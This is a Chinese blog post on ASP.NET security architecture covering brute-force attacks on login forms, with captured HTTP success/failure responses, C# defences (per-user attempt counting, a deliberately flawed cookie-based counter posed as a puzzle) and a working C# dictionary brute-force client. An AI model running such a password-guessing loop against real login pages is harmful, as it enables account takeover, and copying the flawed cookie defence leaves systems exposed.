Asp.net安全架构之Brute force(爆破)
原理
爆破是对系统的登录入口发起不间断的请求,达到暴力破解的目的。
实际案例
某系统存在爆破攻击点,只要模拟以下攻击,就能采用字典破解法,根据分析发现,只要返回状态为302的,为用户名密码正确,也就是被爆破了,状态为200的,为用户名密码错误。
在攻击的过程中,我们只要准备好字典,就能顺利实现爆破。像用户名为luminji,密码为123456这样的用户很容易就会被爆破掉。
请求:
User-Agent: Fiddler
Accept-Language: zh-CN
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
loginId=luminji&password=123456
以下是成功爆破的返回:
HTTP/1.1 302 Found
Cache-Control: private
Location: http://192.168.40.193/portal/pages
Set-Cookie: ASP.NET_SessionId=spycdd55b1cph0iohogufq55; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Mon, 07 May 2012 01:25:50 GMT
<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href="http://192.168.40.193/portal/pages">here</a>.</h2>
</body></html>
以下是失败的返回:
HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Encoding: gzip
Vary: Accept-Encoding
Set-Cookie: ASP.NET_SessionId=zxomk255e3115245tpqi3k45; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Mon, 07 May 2012 01:26:01 GMT
_?_
应对措施
一种思路是:定位客户端,限制客户端的请求频率。一般来说,通过两个途径可确定某个客户端,IP地址和Cookie。但是,这种方式一般来说也是被攻破的,比如使用AccessDriver这样的工具就可以更换IP地址,同时,再清空cookie就可以做到。
其次,使用验证码。这是一种非常有效的措施,但是一定程度上降低了用户体验。
Mads Kristensen提到了另一种方法是限制每个用户的登录次数,代码如下:
protected void ButtonLogin_Click( object sender, EventArgs e) { string loginName = " luminji " ; if (AddAndGetLoginCount(loginName) > 5 ) { // block } else { if (CheckLogin(loginName) == true ) { ClearLoginCount(loginName); } } } // 只适用于单机,如果是集群,需要分布式缓存 int AddAndGetLoginCount( string userNanme) { if (Cache[userNanme] == null ) { Cache.Insert( " luminji " , 1 , null , System.Web.Caching.Cache.NoAbsoluteExpiration, TimeSpan.FromSeconds( 10 )); return 1 ; } else { int count = ( int )Cache[userNanme] + 1 ; Cache[userNanme] = count; return count; } } void ClearLoginCount( string userName) { if (Cache[userName] != null ) { Cache.Remove(userName); } } private bool CheckLogin( string loginName) { throw new NotImplementedException(); }
这里还有一种方法,它看上去是正确的,但是有人一眼就看出来在其貌似能正确防范爆破下的本质错误,不知道你是否能察觉。这段代码的大致思路是:
将访问次数保存在cookie中,然后根据cookie保存的值来限制访问次序。保存在cookie中的值(该值所表达的意义是:谁在某个时间段内访问了几次),需要进行加密处理,只有这样,才能保证不让客户端进行模拟。全部代码实现,请参看代码:
protected void ButtonLogin_Click( object sender, EventArgs e) { HttpCookie cookieGet = Request.Cookies.Get( " btcookie " ); if (cookieGet == null ) { SendBFCookieToClientAndRedirect(); } else { ReceiveBFCookieAndCheckLogin(cookieGet); } } private void ReceiveBFCookieAndCheckLogin(HttpCookie cookieGet) { string loginName = " luminji " ; BruteForce bf = PreAnalyCookieGet(cookieGet); if (DateTime.Parse(bf.ExpireTime) > DateTime.Now) { if ( int .Parse(bf.LoginCount) > 5 ) { Block(); } else { GoAndCheckAndUpdateCount(cookieGet, loginName, bf); } } else { GoAndCheckAndUpdateExpiretime(cookieGet, loginName); } } private BruteForce PreAnalyCookieGet(HttpCookie cookieGet) { Response.Write( string .Format( " get{0}<br/> " , Session.SessionID)); Response.Write( string .Format( " get Cookie:{0}<br/> " , cookieGet.Value)); Response.Write( string .Format( " Now:{0} " , DateTime.Now)); var bfarr = cookieGet.Value.Split( ' | ' ); return new BruteForce(bfarr[ 0 ], bfarr[ 1 ], bfarr[ 2 ]); } private void GoAndCheckAndUpdateCount(HttpCookie cookieGet, string loginName, BruteForce bf) { CheckLogin(loginName); cookieGet.Value = EncryptBruteForceCookie( string .Format( " {0}|{1}|{2} " , int .Parse(bf.LoginCount) + 1 , Session.SessionID, bf.ExpireTime)); Response.Cookies.Add(cookieGet); } private void Block() { Response.Write( " block " ); } private void GoAndCheckAndUpdateExpiretime(HttpCookie cookieGet, string loginName) { CheckLogin(loginName); cookieGet.Value = EncryptBruteForceCookie( string .Format( " {0}|{1}|{2} " , 1 , Session.SessionID, DateTime.Now.AddSeconds( 10 ))); Response.Cookies.Add(cookieGet); } private void SendBFCookieToClientAndRedirect() { Response.Write( string .Format( " set{0}<br/> " , Session.SessionID)); string str = EncryptBruteForceCookie( string .Format( " {0}|{1}|{2} " , 1 , Session.SessionID, DateTime.Now.AddSeconds( 10 ))); Session[ " btcookiesession " ] = str; HttpCookie cookieSet = new HttpCookie( " btcookie " , str); cookieSet.HttpOnly = true ; Response.Cookies.Add(cookieSet); // Redirect To real login page } private string EncryptBruteForceCookie( string cookie) { // encrypt cookie return cookie; } private string DecrpytBruteForceCooke( string cookie) { // encrypt cookie return cookie; } class BruteForce { public BruteForce( string loginCount, string sessionID, string expireTime) { LoginCount = loginCount; SessionID = sessionID; ExpireTime = expireTime; } public string LoginCount; public string SessionID; public string ExpireTime; }
爆破的实施
假设要爆破的登录处的逻辑如下:
protected void btnLogin_Click( object sender, EventArgs e) { if ( this .txtUserName.Text == " xjm " && this .txtUserPassword.Text == " 123 " ) { // this.Session["UserName"] = this.txtUserName.Text; Response.Redirect( " Home.aspx " ); } else { Response.Write( " login denied! " ); } }
PS:一般来说,爆破就是模拟发送请求,C#代码如下:
string httpBase = @" http://localhost:50097 " ; List < string > keyDict = new List< string > () { " 1 " , " 12 " , " 123 " , " a " , " ab " }; private void button2_Click( object sender, EventArgs e) { bool isOk = false ; foreach ( string key in keyDict) { var request = InitRequest(); SetRequestContent(request, key); if (isOk = GetResponseAndLoginSuccess(request)) { break ; } } if (isOk) { MessageBox.Show( " login success. " ); } else { MessageBox.Show( " failed! " ); } } private void SetRequestContent(WebRequest request, string key) { // todo 1:should get login.aspx first, and get the viewstat // 2:then we can build this content string content = string .Format( " __VIEWSTATE=%2FwEPDwULLTE1MzQ2NDY3MzVkZApspc7%2FtLNG1qzHEYJFvpuzy5P8&__EVENTVALIDATION=%2FwEWBAK7qPiwDQKl1bKzCQK9wKW7DAKC3IeGDBjXR%2FPy4G7lFRtaemefnygkRltT&txtUserName=xjm&txtUserPassword={0}&btnLogin=Button " , key); request.ContentLength = content.Length; byte [] bytes = Encoding.UTF8.GetBytes(content); using (Stream requestStream = request.GetRequestStream()) { requestStream.Write(bytes, 0 , bytes.Length); requestStream.Flush(); } } private bool GetResponseAndLoginSuccess(WebRequest request) { var response = request.GetResponse(); using (Stream stream = response.GetResponseStream()) using (StreamReader reader = new StreamReader(stream)) { if (response.ResponseUri.ToString().IndexOf(httpBase+ @" /Home.aspx " ) > - 1 ) { var context = reader.ReadToEnd(); context += " <br/>hacked by luminji! " ; webBrowser1.DocumentText = context; return true ; } } return false ; } private WebRequest InitRequest() { string url = httpBase + @" /login.aspx " ; var request = HttpWebRequest.Create(url); request.ContentType = " application/x-www-form-urlencoded " ; request.Method = " POST " ; return request; }
本文出处: http://www.cnblogs.com/luminji/
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接。
作者: Leo_wl
出处: http://www.cnblogs.com/Leo_wl/
本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。
版权信息查看更多关于Asp.net安全架构之Brute force(爆破)的详细内容...